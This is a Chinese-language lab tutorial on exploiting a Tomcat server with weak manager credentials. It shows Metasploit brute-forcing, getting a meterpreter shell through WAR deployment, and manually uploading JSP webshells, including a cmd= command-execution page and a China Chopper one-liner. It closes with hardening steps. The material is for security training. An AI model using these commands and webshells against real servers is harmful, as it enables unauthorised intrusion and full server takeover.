Tomcat漏洞利用实践

预备知识
Tomcat是由Apache软件基金会下属的Jakarta项目开发的一个Servlet容器,按照Sun Microsystems提供的技术规范,实现了对Servlet和JavaServer Page(JSP)的支持,并提供了作为Web服务器的一些特有功能,如Tomcat管理和控制平台、安全域管理和Tomcat阀等。由于Tomcat本身也内含了一个HTTP服务器,它也可以被视作一个单独的Web服务器。不过,在默认配置下其存在一定的安全隐患,可被恶意攻击。
 

实验目的
在配置Tomcat的时候使用了常用的用户名和弱口令,导致Tomcat可被攻击者登陆,并利用manager中的war部署功能上传恶意脚本最终导致服务器沦陷。本次实验将带领大家实际操作攻击tomcat以及如何修复其漏洞。

实验环境

Tomcat漏洞利用实践_第1张图片
服务器:Windows 2003  IP:10.1.1.146  apache-tomcat-6.0.18

客户端:Windows 2003  IP地址:随机分配

工具下载:http://tools.hetianlab.com/tools/xixi.rar

实验步骤一
探测tomcat端口,暴力破解tomcat帐号密码
由于服务器没有开启tomcat,所以首先请进入服务器启动C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin目录下的tomcat6.exe)

    进入实验机客户端,打开metasploit,依次点击“开始”>>“所有程序”>>“Metasploit”>>“Metasploit Console”

Tomcat漏洞利用实践_第2张图片

打开metasploit界面,等待出现msf提示符后,输入命令并回车,对网段开放了8080端口的主机进行扫描
    nmap -sV 10.1.1.0/24 -p 8080  如下所示:

Tomcat漏洞利用实践_第3张图片

 可以看到我们探测出来一个开放了8080端口tomcat服务的主机ip:10.1.1.146(tomcat默认安装后的端口为8080),我们来通过浏览器访问一下tomcat
    http://10.1.1.146:8080
Tomcat漏洞利用实践_第4张图片

 点击左边Administration栏下的Tomcat Manager来到Tomcat默认安装后的后台管理地址为:http://10.1.1.146:8080/manager/html

Tomcat漏洞利用实践_第5张图片

弹出对话框,要求输入用户名和密码,可以尝试下Tomcat默认安装后的用户名admin,密码为空。发现失败,那么接下来使用msf进行暴力破解
    首先搜索一下msf关于tomcat的可用模块
    search  tomcat
Tomcat漏洞利用实践_第6张图片我们使用 auxiliary/scanner/http/tomcat_mgr_login这个模块
    use auxiliary/scanner/http/tomcat_mgr_login
    可以查看下配置 show options

Tomcat漏洞利用实践_第7张图片

可以发现许多参数都已经默认的设置好了,这里就用模块自带的字典吧,只需设置目标IP即可

set rhosts 10.1.1.146,然后输入run命令回车开始破解
Tomcat漏洞利用实践_第8张图片

 可以看到已经成功破解出正确的用户名密码为tomcat tomcat

实验步骤二
通过tomcat后台获取Webshell


    当成功破解出tomcat的帐号密码后,我们可以继续使用metasploit获取其webshell。

    我们使用exploit/multi/http/tomcat_mgr_deploy模块进行getshell的操作

    use exploit/multi/http/tomcat_mgr_deploy

    show options
Tomcat漏洞利用实践_第9张图片

需要设置的参数有用户名、密码、ip、端口

    set username tomcat

    set password tomcat

    set rhost 10.1.1.146 (注意区分这里为rhost而不是之前破解tomcat的rhosts)

    set rport 8080

Tomcat漏洞利用实践_第10张图片

 设置完毕后,输入run命令进行攻击,成功返回meterpreter(注意如果没出现meterpreter请重复多运行几次run
Tomcat漏洞利用实践_第11张图片

我们可以在meterpreter的基础上进一步获得服务器的cmdshell,如下图所示输入shell回车即可,更多meterpreter的命令可参考合天实验室的metasploit系列教程和https://www.91ri.org/8476.html
Tomcat漏洞利用实践_第12张图片

 使用msf自动获取tomcat的shell固然很方便,但是我们也应该掌握在后台手动部署war木马包获取shell的方法,以便于我们在某些时候下能使用到。
    打开http://10.1.1.146:8080/manager/html,输入帐号密码后进入后台往下翻,来到war file to deploy

Tomcat漏洞利用实践_第13张图片

在这可以上传个war木马包来getshell,将实验室提供的war木马包下载下来(下载地址tools.hetianlab.com/tools/xixi.rar),我们现在就选择该xixi.war木马文件,然后点击Deploy进行上传部署。

Tomcat漏洞利用实践_第14张图片

 成功后,我们便可以在Applications栏中看到刚刚上传的xixi。

    在这里,要说明下这个war木马包,把它后缀名改成rar的格式,然后打开,可以看到里面有2个jsp的木马脚本,大家也可以将自己爱用的jsp木马脚本拖进来压缩之后改后缀为war。
Tomcat漏洞利用实践_第15张图片

现在我们就可以访问一下木马页面了。先来看下1.jsp木马的脚本内容。

其大致意思就是通过参数cmd传入系统命令并将执行回显到当前页面。
Tomcat漏洞利用实践_第16张图片

所以访问的时候我们需要加上cmd的参数,像如下这样:

    http://10.1.1.146:8080/xixi/1.jsp?cmd=whoami

Tomcat漏洞利用实践_第17张图片

而2.jsp为jsp的一句话木马,打开C:\tools\webshell下的中国菜刀,填入木马地址,密码为xixi,脚本类型选择为Customize,点击添加,即可得到tomcat的webshell。
Tomcat漏洞利用实践_第18张图片

Tomcat漏洞利用实践_第19张图片

此外Tomcat服务默认是以system或administrator权限运行的,因此jsp木马就继承了其权限,几乎可以对Web服务器进行所有的操作。比如添加管理员用户,开启3389,连接3389登录服务器。
实验步骤三
Tomcat安全配置


1、设置一个复杂的tomcat的用户密码

    进入服务器实验机来到C:\Program Files\Apache Software Foundation\Tomcat 6.0\conf

    用记事本方式打开tomcat-users.xml,修改一个复杂的密码并保存。 

Tomcat漏洞利用实践_第20张图片

 2、更改tomcat端口

    同样在C:\Program Files\Apache Software Foundation\Tomcat 6.0\conf

    目录下记事本方式打开server.xml,更改其端口为666,保存,然后重启tomcat服务。(关掉当前正在运行的tomcat窗口,重新打开C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\目录下的tomcat6.exe)

Tomcat漏洞利用实践_第21张图片

 浏览器访问http://10.1.1.146:666/ 再用修改后的密码进行登录
Tomcat漏洞利用实践_第22张图片

3、或者直接删除webapps目录吧 
    最简单最暴力最有效 
    更多tomcat安全配置指导,请参考 
http://wenku.baidu.com/link?url=nHHgP_qfac0m-jDCXUZUd8tzkVbiCLYcXy_IzVr-tNcjaDpvuBa_WgyeaepcGGjSpZekl2MtxePRMCx7NsmTjDLLb797_A4n4rVMaAywXFe 

你可能感兴趣的:(经典漏洞利用,tomcat,servlet,java)